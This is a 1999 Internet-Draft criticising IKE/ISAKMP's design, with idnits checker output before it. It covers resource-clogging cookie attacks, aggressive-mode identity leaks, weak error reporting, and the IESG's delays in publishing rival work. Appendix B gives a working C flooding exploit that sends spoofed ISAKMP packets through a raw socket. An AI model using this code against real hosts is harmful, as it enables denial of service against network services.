idnits 2.17.1 draft-simpson-danger-isakmp-01.txt: Checking boilerplate required by RFC 5378 and the IETF Trust (see https://trustee.ietf.org/license-info): ---------------------------------------------------------------------------- ** Cannot find the required boilerplate sections (Copyright, IPR, etc.) in this document. Expected boilerplate is as follows today (2024-04-25) according to https://trustee.ietf.org/license-info : IETF Trust Legal Provisions of 28-dec-2009, Section 6.a: This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79. IETF Trust Legal Provisions of 28-dec-2009, Section 6.b(i), paragraph 2: Copyright (c) 2024 IETF Trust and the persons identified as the document authors. All rights reserved. IETF Trust Legal Provisions of 28-dec-2009, Section 6.b(i), paragraph 3: This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (https://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents carefully, as they describe your rights and restrictions with respect to this document. Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License. Checking nits according to https://www.ietf.org/id-info/1id-guidelines.txt: ---------------------------------------------------------------------------- ** Missing expiration date. The document expiration date should appear on the first and last page. ** The document seems to lack a 1id_guidelines paragraph about Internet-Drafts being working documents. ** The document seems to lack a 1id_guidelines paragraph about 6 months document validity. ** The document seems to lack a 1id_guidelines paragraph about the list of current Internet-Drafts. ** The document seems to lack a 1id_guidelines paragraph about the list of Shadow Directories. ** The document is more than 15 pages and seems to lack a Table of Contents. == No 'Intended status' indicated for this document; assuming Proposed Standard == The page length should not exceed 58 lines per page, but there was 2 longer pages, the longest (page 9) being 60 lines == It seems as if not all pages are separated by form feeds - found 0 form feeds but 24 pages Checking nits according to https://www.ietf.org/id-info/checklist : ---------------------------------------------------------------------------- ** The document seems to lack an Introduction section. ** The document seems to lack an IANA Considerations section. (See Section 2.2 of https://www.ietf.org/id-info/checklist for how to handle the case when there are no actions for IANA.) ** The document seems to lack an Authors' Addresses Section. ** The document seems to lack separate sections for Informative/Normative References. All references will be assumed normative when checking for downward references. ** There are 16 instances of too long lines in the document, the longest one being 4 characters in excess of 72. ** The abstract seems to contain references ([RFC-2408], [RFC-2409]), which it shouldn't. Please replace those with straight textual mentions of the documents in question. ** The document seems to lack a both a reference to RFC 2119 and the recommended RFC 2119 boilerplate, even if it appears to use RFC 2119 keywords. RFC 2119 keyword, line 90: '... "It MUST NOT be possible for any...' RFC 2119 keyword, line 95: '...ue that affects its cookies MAY remain...' RFC 2119 keyword, line 97: '... SHOULD be changed periodically t...' RFC 2119 keyword, line 680: '...loyed IKE/ISAKMP SHOULD revert to manu...' Miscellaneous warnings: ---------------------------------------------------------------------------- == Line 549 has weird spacing: '... u_long src_i...' -- The document seems to lack a disclaimer for pre-RFC5378 work, but may have content which was first submitted before 10 November 2008. If you have contacted all the original authors and they are all willing to grant the BCP78 rights to the IETF Trust, then this is fine, and you can ignore this comment. If not, you may need to add the pre-RFC5378 disclaimer. (See the Legal Provisions document at https://trustee.ietf.org/license-info for more information.) -- The document date (June 1999) is 9081 days in the past. Is this intentional? -- Found something which looks like a code comment -- if you have code sections in the document, please surround them with '' and '' lines. Checking references for intended status: Proposed Standard ---------------------------------------------------------------------------- (See RFCs 3967 and 4897 for information about using normative references to lower-maturity documents in RFCs) == Missing Reference: 'DayDreamer' is mentioned on line 2, but not defined == Missing Reference: 'Responder' is mentioned on line 103, but not defined == Missing Reference: 'PADDING' is mentioned on line 535, but not defined -- Looks like a reference, but probably isn't: '0' on line 563 -- Looks like a reference, but probably isn't: '1' on line 565 == Unused Reference: 'Photuris-01' is defined on line 701, but no explicit reference was found in the text == Unused Reference: 'RFC-2360' is defined on line 706, but no explicit reference was found in the text == Unused Reference: 'Schneier95' is defined on line 717, but no explicit reference was found in the text -- Possible downref: Normative reference to a draft: ref. 'Folklore-00' -- No information found for draft-karn-photuris - is the name correct? -- Possible downref: Normative reference to a draft: ref. 'Photuris-01' ** Obsolete normative reference: RFC 2408 (Obsoleted by RFC 4306) ** Obsolete normative reference: RFC 2409 (Obsoleted by RFC 4306) ** Downref: Normative reference to an Experimental RFC: RFC 2522 -- Possible downref: Non-RFC (?) normative reference: ref. 'Schneier95' Summary: 17 errors (**), 0 flaws (~~), 10 warnings (==), 9 comments (--). Run idnits with the --verbose option for more detailed information about the items above. -------------------------------------------------------------------------------- 1 Network Working Group W A Simpson 2 Internet Draft [DayDreamer] 3 expires in six months June 1999 5 IKE/ISAKMP Considered Dangerous 6 draft-simpson-danger-isakmp-01.txt 8 Status of this Memo 10 This document is an Internet Draft, and is in full conformance with 11 all provisions of Section 10 of RFC2026, except that the right to 12 produce derivative works is not granted. 14 Internet Drafts are working documents of the Internet Engineering 15 Task Force (IETF), its Areas, and its Working Groups. Note that 16 other groups may also distribute working documents as Internet 17 Drafts. 19 Internet Drafts are draft documents valid for a maximum of six 20 months, and may be updated, replaced, or obsoleted by other documents 21 at any time. It is not appropriate to use Internet Drafts as 22 reference material, or to cite them other than as "Work In Progress." 24 The list of current Internet Drafts can be accessed at 26 http://www.ietf.org/ietf/1id-abstracts.txt. 28 To view the list of Internet Draft Shadow Directories, see 30 http://www.ietf.org/shadow.html. 32 Note that the first paragraph of this section is a meaningless 33 bureaucratic requirement of the IESG. It is provided so as to 34 satisfy those bureaucratic requirements, and serves no other purpose 35 whatever. No assumption should be made that the author(s) have 36 assented to any of it. 38 Information as to any intellectual property rights, beyond the right 39 to redistribute this document and make use of it for the purposes of 40 an Internet Draft, should be sought in other parts of this document. 42 Distribution of this memo is unlimited. 44 Copyright Notice 46 Copyright (C) William Allen Simpson (1999). All Rights Reserved. 48 Abstract 50 IKE [RFC-2409] is a session-key exchange mechanism within the ISAKMP 51 [RFC-2408] protocol framework. The combination is fraught with 52 egregious fundamental design flaws. This document details a few of 53 the more easily exploitable problems. 55 1. Motivation 57 IKE [RFC-2409] is a session-key exchange mechanism within the ISAKMP 58 [RFC-2408] protocol framework. While those documents were developed 59 by the United States National Security Administration (NSA) from the 60 initial Fortezza (used in the nefarious Clipper chip) within an ASN.1 61 framework, observers noted a number of problems. 63 This document details a few of the more easily exploitable problems; 64 including severe denial of service attacks, interoperability issues, 65 privacy information leaking, and other egregious fundamental design 66 flaws. 68 The author was prevented from publishing this information in the 69 IETF, as well as publication of the more capable and robust Photuris 70 specification [RFC-2522], until after publication of IKE/ISAKMP. 72 It is hoped that this document will stimulate discussion. 74 2. Cookies 76 While Karn and Simpson are credited (see [RFC-2408 page 12]) with the 77 cookie (anti-clogging token) concept taken from Photuris, the 78 IKE/ISAKMP version of cookies fails to meet the explicit requirements 79 set forth in Photuris: 81 "The computing resources themselves must also be protected against 82 malicious attack or sabotage.... Because of their use of CPU- 83 intensive operations, such as modular exponentiation, key 84 management schemes based on public-key cryptography are vulnerable 85 to resource clogging attacks.... These attacks are mitigated 86 through using time-variant cookies, and the elimination of 87 receiver state during initial exchanges of the protocol." 88 [Photuris-01 pages 2-3] 90 "It MUST NOT be possible for anyone other than the issuing entity 91 to generate cookies that will be accepted by that entity. This 92 implies that the issuing entity will use local secret information 93 in the generation and subsequent verification of a cookie." 95 "The Responder secret value that affects its cookies MAY remain 96 the same for many different Initiators. However, this secret 97 SHOULD be changed periodically to limit the time for use of its 99 "The Responder remains stateless until a shared-secret has been 100 "Otherwise, the Responder returns a Cookie_Response. Note that 101 the Responder creates no additional state at this time." 103 "The [Responder] cookie is not cached per Initiator to avoid 104 saving state during the initial Cookie Exchange." [RFC-2522 page 105 20] 107 2.1. Cookie Crumb Attack 109 Unfortunately, ISAKMP replaces the time-variant secret of Photuris 110 with a date and time stamp [RFC-2408 page 20], requires state in the 111 Responder, and leaves a "cookie crumb" for every connection attempt. 113 The cookie crumb attack is belatedly acknowledged in the 114 specification, but is described with inadequate hand-waving: 116 "... the anticlogging [sic] mechanism should be used in conjuction 117 [sic] with a garbage-state collection mechanism; an attacker can 118 still flood a server using packets with bogus IP addresses and 119 cause state to be created." [RFC-2408 page 13]. 121 That text demonstrates utter failure to understand the rationale for 122 the Photuris anti-clogging mechanism design, despite several 123 repetitions in the Photuris specification: PREVENT THE CREATION OF 124 STATE DURING A RESOURCE CLOGGING ATTACK. 126 All tests have shown that garbage collection is not sufficient. One 127 common IKE/ISAKMP implementation used over 50MB of memory during a 1 128 minute test. Moreover, a simple program can consume 100% of the CPU, 129 degrading performance to the extent that outgoing packets stop 130 entirely. See Appendix B "Cookie Crumbs (Exploit)". 132 Furthermore, the problem is not limited to "bogus IP addresses". 133 Valid IP addresses cause the same symptoms. 135 Surprisingly, during testing, all variants of the exploit proved 136 successful: 138 single source address, single source port 139 single source address, random source port 140 random source address, single source port 141 random source address, random source port 143 This fundamental design flaw is endemic, and remediation will require 144 significant protocol changes. 146 2.2. Cookie Jar Attack 148 Another significant problem is the lack of any resource limitation 149 feature, such as is found in Photuris. In particular, an adversary 150 can send a large number of ISAKMP proposals, collect the responses in 151 a "cookie jar", then send a large number of key exchange messages all 152 at once with apparently valid cookie values. 154 The Responder is swamped by simultaneously calculating the shared- 155 secrets and/or decrypting the nonces and/or verifying the identities. 156 These operations are computationally expensive. 158 Note that the adversary does not need to make any computations 159 itself. The key exchange and nonce payloads can be properly 160 formatted garbage. 162 This attack is especially effective for an evesdropper in the path 163 between a legitimate Initiator and Responder. The evesdropper can 164 simulate an entire valid range of source addresses, making detection 165 and avoidance of this attack very difficult. 167 This fundamental design flaw is inherent in the specification, and 168 remediation will require significant protocol changes. 170 2.3. Cookie Race Attack 172 A more subtle problem is a race condition between the phases after 173 the initial exchange of cookies. An evesdropper on a path between 174 the parties can observe a valid ISAKMP proposal header from the 175 Responder, add appropriate message fields with garbage contents, and 176 send the bogus message to the Responder, before the next correct 177 message arrives from the Initiator. 179 The Responder will waste significant time calculating a shared- 180 secret, and will not discover the substitution until later 181 verification fails. 183 The Initiator will never discover the substitution, as there is no 184 requirement that the Responder send any message to signal 185 verification failures. The Initiator will futilely retransmit. 187 This is a serious specification error, that affects interoperability 188 and makes conformance testing much more difficult. 190 3. Aggressive Denial of Service 192 The "Aggressive" mode provides far worse security than the "Main" 193 mode of operation. Indeed, it is designed to allow more aggressive 194 denial of service attacks. Fortunately, fewer implementations have 195 included the aggressive mode. 197 3.1. Cookie Deficiency 199 Unlike main mode, aggressive mode eliminates the cookie exchange. In 200 the Internet threat environment, this opens the protocol to numerous 201 failures associated with normal datagram delivery, such as re-ordered 202 and duplicated datagrams. Resource clogging and flooding attacks are 203 extremely easy and may be mounted from anywhere in the Internet. 205 The Responder is swamped by simultaneously verifying the signatures 206 and/or decrypting the nonces. These operations are computationally 207 expensive. 209 Note that the adversary does not need to make any computations 210 itself. The key exchange, signature, and nonce payloads can be 211 properly formatted garbage. 213 This fundamental design flaw is inherent in the specification, and 214 remediation will require removal of the aggressive mode feature. 216 3.2. Revealed Identities 218 Unlike main mode, aggressive mode may not provide identity 219 protection. The identities are exchanged before a common shared 220 secret has been established. 222 Such revealed identities are long-term liabilities. Compromised 223 identities continue to be useful to an adversary until all 224 participants have revoked the associated permissions. Identity 225 attacks are extremely easy and may be mounted from anywhere in the 226 Internet. 228 Moreover, the revealed identities might be encrypted in other 229 exchanges. This provides a ripe opportunity for cryptanalysis of 230 those exchanges. 232 This fundamental design flaw is inherent in the specification, and 233 remediation will require removal of the aggressive mode feature. 235 3.3. Futile Filters 237 Filtering the incoming messages, based on IP Source or Initiator 238 Identity, has been suggested for ameliorating the aggressive mode 239 vulnerabilities. This is quite ineffective against a determined 240 adversary. 242 Note that filtering is not required by the specification, and cannot 243 be depended upon as a security feature. 245 Filtering based on IP Source is undesirable, as this would exclude 246 mobile and DHCP users. Moreover, IP addresses have constrained 247 ranges and are easily guessable. This is far easier than a TCP 248 sequence number attack. 250 Once an identity has been revealed to an evesdropper, that identity 251 can be used from anywhere, without any more work. Using an identity 252 seen on a mobile unit in just one place could doom the whole network 253 behind the security firewall accessed by that mobile user (at least 254 until new identities are generated and old ones filtered). 256 This whole approach violates the fundamental principal set forth in 257 Photuris: 259 "Internet Security does not place any significance on easily 260 forged IP Source addresses. It relies instead on proof of 261 possession of secret knowledge: that is, a cryptographic key." 263 4. Quick Denial of Service 265 Although the "Quick" mode relies on the security of the "Main" mode 266 of operation, the optional form providing forward secrecy isn't very 267 quick, as it includes a computationally expensive exchange of new key 268 material. Unfortunately, implementation of quick mode with forward 270 An interloper can simply record the packets and replay them later. 271 The peer is swamped by simultaneously calculating the shared-secrets 272 and/or decrypting the nonces and/or verifying the identities. 274 This serious design flaw can be ameliorated by removal of the quick 275 mode with (imperfect) forward secrecy feature. 277 5. More Obvious Flaws 278 5.1. Poor Specification 280 A great many of the problematic specifications are due to the ISAKMP 281 framework. This is not surprising, as the early drafts used ASN.1, 282 and were fairly clearly ISO inspired. The observations of another 283 ISO implementor (and security analyst) appear applicable: 285 "The specification was so general, and left so many choices, that 286 it was necessary to hold "implementor workshops" to agree on what 287 subsets to build and what choices to make. The specification 288 wasn't a specification of a protocol. Instead, it was a framework 289 in which a protocol could be designed and implemented." 290 [Folklore-00] 292 The ISAKMP framework relies on a "Domain Of Interpretation" (DOI) for 293 the actual details. 295 5.2. Option Overload 297 A distinguishing characteristics of IKE/ISAKMP is the addition of new 298 modes and options to the underlying framework. Yet, important 299 features such as forward secrecy, identity privacy protection, and 300 resource clogging defenses are merely optional. 302 Scalability is never considered. Simplicity is utterly disregarded. 304 The plethora of options severely complicates protocol implementation, 305 and makes conformance testing much more difficult. 307 5.3. Error (Non-)Reporting 309 Inclusion of error notification payloads can be anywhere within 310 various modes and phase exchanges, or in a separate "Informational 311 Exchange", or may not be included at all. There are no specified 312 actions to be taken when such a notification is received. "Local 313 security policy dictates the action if an error occurs during these 314 messages." [RFC-2408 pages 52,53,54,55,57,74]. 316 This inadequate and inconsistent error reporting is inexcusable, 317 especially in a security specification: 319 "The standard should describe responses to behavior explicitly 320 forbidden or out of the boundaries described by the 321 specification.... 323 "The specification should describe actions taken when a critical 324 resource or a performance-scaling limit is exceeded. This is 325 necessary for cases where a risk of network degradation or 326 operational failure exists. In such cases, a consistent behavior 327 between implementations is necessary." [RFC-2360 pages 6-7] 329 This is a serious specification error, that affects interoperability 330 and makes conformance testing much more difficult. 332 5.4. Revealing Field Sizes 334 Another serious specification flaw may make hiding of various 335 identifying message fields less effective. Although the "payload 336 chaining" framework obscures the field relationships from reviewer 337 scrutiny, it appears that only the contents of these protected fields 338 are opaque. The size of the fields is transparent (transmitted in 339 the clear). 341 In particular, the lengths of user identities are revealed. Where IP 342 addresses are used, the 4 byte length is a dead giveaway. 344 This has the obvious benefit to an adversary. Knowing the lengths 345 allows targetting of attacks, and eases verification of success. 347 5.5. Unverified Fields 349 Many parts of the message exchanges are not authenticated. The field 350 sizes are not always verified. Some fields are authenticated in some 351 phases, but not in others. The ordering of fields can vary. 353 Although the "payload chaining" framework obscures the field 354 relationships from reviewer scrutiny, it appears that such fields are 355 vulnerable to reflection, re-ordering and replay attacks. 357 5.6. Subliminal Channels 359 Where message fields are not authenticated, an unscrupulous 360 implementor or trojan horse implementation can transmit secret 361 information in those fields. 363 6. Publication Delay 365 Since December 1995, a number of internet-drafts related to Internet 366 Protocol Security have been awaiting official publication. The 367 Internet Engineering Steering Group (IESG) made the unprecedented 368 decision to delay publication of other work in any form, until the 369 chartered Working Group had completed the next revision of their 370 documents. Usually, Experimental work is published prior to a 371 Proposed Standard. This internal IESG decision was not officially 372 announced until after a formal appeal of the years of interminable 373 delay. See Appendix A.1. 375 Unfortunately, any delay of the Working Group documents meant that 376 publication of the other work would be delayed as well. This had the 377 effect of stifling overt criticism of the documents, despite their 378 obvious faults. 380 Eventually, in November 1998, the revised IP Security documents were 381 published. It took several more months before publication of other 382 specifications was permitted, and not all of them have been allowed. 383 See Appendix A.2 and A.3. 385 In the meantime, vast sums of money have been wasted implementing and 386 testing the overly complicated and poorly specified IKE/ISAKMP. 388 A. Responses to Appeals 389 A.1. Publication Delayed 391 Date: Fri, 25 Jul 1997 19:16:25 -0700 392 To: "William Allen Simpson" 393 From: Fred Baker 394 Subject: Response to Appeal 395 Cc: ietf@ietf.org 397 This is to formally respond to your appeal to and question of the chair, 398 regarding the delayed publication of the two internet drafts as 399 Experimental RFCs: 401 "ICMP Security Failures Messages", 04/30/1996, 402 403 and 404 "Internet Security Transform Enhancements", 04/30/1997, 405 407 The sense of the IESG, and apparently your sense in naming them, is that 408 both of these documents relate directly to and overlap with work 409 being done 410 in the IPSEC Working Group. In the IETF Plenary session in San Jose, 411 and in 412 various emails, the Security Area Director has stated that, 413 regardless of 414 the intended status of the draft, drafts that are closely related to the 415 work currently being done in the IPSEC Working Group will not be 416 published 417 until the principal output of that working group has been published. This 418 policy was propounded because some factions in that working group were 419 telling potential customers that their approach was in fact the IETF 420 approach, and the IESG felt that giving them an RFC number to quote would 421 give them additional ammunition with which to confuse the marketplace. 422 Note that, while the policy is the Security Area Director's, it was 423 propounded with the explicit concurrence of the IESG. 425 You also point out in your appeal that the POISED documents indicate 426 that a 427 document which fails to achieve Proposed Standard status may still be 428 published as Experimental, and view our delay as violating this 429 guidance. I 430 believe you are mistaken; while POISED permits such a publication, POISED 431 does not require it to be done on any given timetable, and does not 432 preclude the IESG from an action such as it has taken in this case. The 433 delay in publication of your documents (and others) has not precluded 434 people from using the documents, only from marketing them to the ignorant 435 as RFCs and therefore standards. 437 Yes, I will agree - hastily - that anyone who is informed will know that 438 RFCs are archival documents, and not automatically standards. 439 However, you 440 know as well as I that this fact is frequently lost in the 441 translation from 442 engineering to marketing, and in this case the marketing issue has 443 been a 444 serious factor. 446 I am sorry that this delay has upset you. The IESG is not pleased 447 with the 448 progress of the IPSEC Working Group, which has been a difficult 449 environment 450 for everyone involved in it. We hope that the new chairs will be able to 451 bring this work to closure and move the working group on to more 452 productive 453 efforts. 455 A.2. Publication Granted 457 Date: Tue, 16 Feb 1999 16:31:18 -0500 (Eastern Standard Time) 458 From: Steve Coya 459 To: RFC Editor 460 cc: iesg@ietf.org, wsimpson@greendragon.com 461 Subject: Photuris and ICMP documents 463 The IESG has no problem with the publication of the following 464 documents as 465 Experimental RFCs: 467 o The Photuris Session Key Management Protocol 468 469 o Photuris Schemes and Privacy Protection 470 471 o ICMP Security Failures Messages 472 474 A.3. Publication Refused 476 Date: Tue, 16 Feb 1999 17:07:50 -0500 (Eastern Standard Time) 477 From: Steve Coya 478 Reply-To: Steve Coya 479 To: RFC Editor 480 cc: iesg@ietf.org, wsimpson@greendragon.com 481 Subject: Re: draft-simpson-ipsec-enhancement-01.txt to Experimental 483 Greetings, 485 The IESG consensus requests that Internet Security Transform Enhancements 486 NOT be published as an 487 Experimental RFC as this document adds sequence numbers to the old 488 and obsolete AH and ESP transforms. In the case of ESP, it does so 489 in an 490 incompatible way. Publication of these documents could easily confuse 491 implementors of IPSEC. 493 The IESG will reconsider publication if this document is updated as 494 needed 495 and resubmitted. 497 B. Cookie Crumbs (Exploit) 499 #include 500 #include 501 #include 502 #include 503 #include 504 #include 505 #include 506 #include 507 #include 508 #include 509 #include 511 #define USE_IP_SOURCE "10.10.10.10" 513 #ifdef STRANGE_BSD_BYTE_ORDERING_THING 514 /* OpenBSD < 2.1, all FreeBSD and netBSD, 515 BSDi < 3.0 */ 516 #define FIX(n) (n) 517 #else /* OpenBSD 2.1, all Linux */ 518 #define FIX(n) htons(n) 519 #endif 521 #define IP_MF 0x2000 /* More IP fragment en route */ 522 #define IPH 0x14 /* IP header size */ 523 #define UDPH 0x8 /* UDP header size */ 524 #define PADDING 72 /* first isakmp message length */ 525 #define MAGIC 0x3 526 #define COUNT 0x1 528 void usage(u_char *); 529 u_long name_resolve(u_char *); 530 u_short in_cksum(u_short *, int); 531 void send_cookies(int, u_long, u_long, u_short, u_short, u_short); 533 /* Initiator Packet for ISAKMP Main Mode */ 535 char isakmppacket[PADDING] = { 536 0x95, 0xfe, 0x04, 0x54, 0xa9, 0x11, 0xba, 0xe7, 537 0, 0, 0, 0, 0, 0, 0, 0, 538 0x01, 0x10, 0x02, 0, 0, 0, 0, 0, 539 0, 0, 0, 0x48, 0, 0, 0, 0x2c, 540 0, 0, 0, 1, 0, 0, 0, 1, 541 0, 0, 0, 0x20, 1, 1, 0, 1, 542 0, 0, 0, 0x18, 1, 1, 0, 0, 543 0x80, 1, 0, 1, 0x80, 2, 0, 1, 544 0x80, 3, 0, 1, 0x80, 4, 0, 1 545 }; 546 int main(int argc, char **argv) 547 { 548 int one = 1, i, rip_sock, x=1, id=1; 549 u_long src_ip = 0, dst_ip = 0; 550 u_short src_prt = 0, dst_prt = 0; 552 if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { 553 perror("raw socket"); 554 exit(1); 555 } 556 if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, 557 sizeof(one)) 558 < 0) { 559 perror("IP_HDRINCL"); 560 exit(1); 561 } 562 if (argc < 2) { 563 usage(argv[0]); 564 } 565 if (!(dst_ip = name_resolve(argv[1]))) { 566 exit(1); 567 } 569 dst_prt = 5000; 570 for (;;) { 571 #ifdef USE_IP_SOURCE 572 src_ip = inet_addr(USE_IP_SOURCE); 573 #else 574 src_ip = ((arc4random() & 0xdfff) << 16) 575 + arc4random(); 576 #endif 577 src_prt = arc4random(); 578 send_cookies(rip_sock, src_ip, dst_ip, src_prt, dst_prt, id++); 579 } 580 return (0); 581 } 583 /* 584 * Send ISAKMP initiator Main Mode packet. 585 */ 587 void send_cookies(int sock, u_long src_ip, u_long dst_ip, u_short 588 src_prt, 589 u_short dst_prt, u_short id) 590 { 591 u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */ 592 u_char byte; /* a byte */ 593 struct sockaddr_in sin; /* socket protocol 594 structure */ 595 u_int32_t cookiehalf; 596 sin.sin_family = AF_INET; 597 sin.sin_port = src_prt; 598 sin.sin_addr.s_addr = dst_ip; 600 /* 601 * Grab some memory for our packet, align p_ptr to point at the 602 beginning 603 * of our packet, and then fill it with zeros. 604 */ 605 packet = (u_char *)malloc(IPH + UDPH + PADDING); 606 p_ptr = packet; 607 bzero((u_char *)p_ptr, IPH + UDPH + PADDING); // Set it all to zero 609 byte = 0x45; /* IP version and header 610 length */ 611 memcpy(p_ptr, &byte, sizeof(u_char)); 612 p_ptr += 2; /* IP TOS (skipped) */ 613 *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total 614 length */ 615 p_ptr += 2; 616 *((u_short *)p_ptr) = htons(id); /* IP id */ 617 p_ptr += 2; 618 /* *((u_short *)p_ptr) |= FIX(IP_MF); */ /* IP frag flags and 619 offset */ 620 p_ptr += 2; 621 *((u_short *)p_ptr) = 247; /* IP TTL */ 622 byte = IPPROTO_UDP; 623 memcpy(p_ptr + 1, &byte, sizeof(u_char)); 624 p_ptr += 4; /* IP checksum filled in by 625 kernel */ 626 *((u_long *)p_ptr) = src_ip; /* IP source address */ 627 p_ptr += 4; 628 *((u_long *)p_ptr) = dst_ip; /* IP destination address */ 629 p_ptr += 4; 630 *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ 631 p_ptr += 2; 632 *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination 633 port */ 634 p_ptr += 2; 635 *((u_short *)p_ptr) = htons(PADDING + 8); /* Length */ 636 p_ptr += 4; 638 cookiehalf = arc4random(); 639 bcopy(&cookiehalf, isakmppacket, 4); 640 cookiehalf = arc4random(); 641 bcopy(&cookiehalf, isakmppacket + 4, 4); 642 bcopy(isakmppacket, p_ptr, PADDING); 644 if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct 645 sockaddr *)&sin, 646 sizeof(struct sockaddr)) == -1) 647 { 648 perror("\nsendto"); 649 free(packet); 650 exit(1); 652 } 653 free(packet); 654 } 656 u_long name_resolve(u_char *host_name) 657 { 658 struct in_addr addr; 659 struct hostent *host_ent; 661 if ((addr.s_addr = inet_addr(host_name)) == -1) 662 { 663 if (!(host_ent = gethostbyname(host_name))) return (0); 664 bcopy(host_ent->h_addr, (char *)&addr.s_addr, 665 host_ent->h_length); 666 } 667 return (addr.s_addr); 668 } 670 void usage(u_char *name) 671 { 672 fprintf(stderr, 673 "%s dst_ip\n", 674 name); 675 exit(0); 676 } 678 Security Considerations 680 Any site that has deployed IKE/ISAKMP SHOULD revert to manual keying 681 (or to Photuris where available). 683 The egregious flaws discussed were observed by experienced network 684 protocol designers with an interest in cryptography, rather than by 685 cryptographers with an interest in network protocols. It is 686 anticipated that the design will be more thoroughly analysed in 687 subsequent papers. 689 Acknowledgements 691 A number of folks have contributed anonymously to this document. 692 This incorporates many private discussions that occurred during 693 1996-1998. 695 References 697 [Folklore-00] 698 Perlman, R., "Folklore of Protocol Design", draft-iab- 699 perlman-folklore-00.txt, Work In Progress, January 1998. 701 [Photuris-01] 702 Karn, P., and Simpson, W., "The Photuris Session Key 703 Management Protocol", draft-karn-photuris-01.txt, Work In 704 Progress, March 1995. 706 [RFC-2360] Scott, G., Editor, "Guide for Internet Standards 707 Writers", BCP 22, (US) Defense Information Systems 708 Agency, June 1998. 710 [RFC-2408] 712 [RFC-2409] 714 [RFC-2522] Karn, P., and Simpson, W., "Photuris: Session-Key 715 Management Protocol", March 1999. 717 [Schneier95] 718 Schneier, B., "Applied Cryptography Second Edition", John 719 Wiley & Sons, New York, NY, 1995. ISBN 0-471-12845-7. 721 Contacts 723 Comments about this document should be discussed on the ietf@ietf.org 724 mailing list. 726 Questions about this document can also be directed to: 728 William Allen Simpson 729 DayDreamer 730 Computer Systems Consulting Services 731 1384 Fontaine 732 Madison Heights, Michigan 48071 734 wsimpson@UMich.edu 735 wsimpson@GreenDragon.com (preferred) 737 Full Copyright Statement 739 Copyright (C) William Allen Simpson (1999). All Rights Reserved. 741 This document and translations of it may be copied and furnished to 742 others, and derivative works that comment on or otherwise explain it 743 or assist in its implementation may be prepared, copied, published 744 and distributed, in whole or in part, without restriction of any 745 kind, provided that the above copyright notice and this paragraph are 746 included on all such copies and derivative works. However, this 747 document itself may not be modified in any way, except as required to 748 translate it into languages other than English. 750 This document and the information contained herein is provided on an 751 "AS IS" basis and the author(s) DISCLAIM ALL WARRANTIES, EXPRESS OR 752 IMPLIED, INCLUDING (BUT NOT LIMITED TO) ANY WARRANTY THAT THE USE OF 753 THE INFORMATION HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED 754 WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.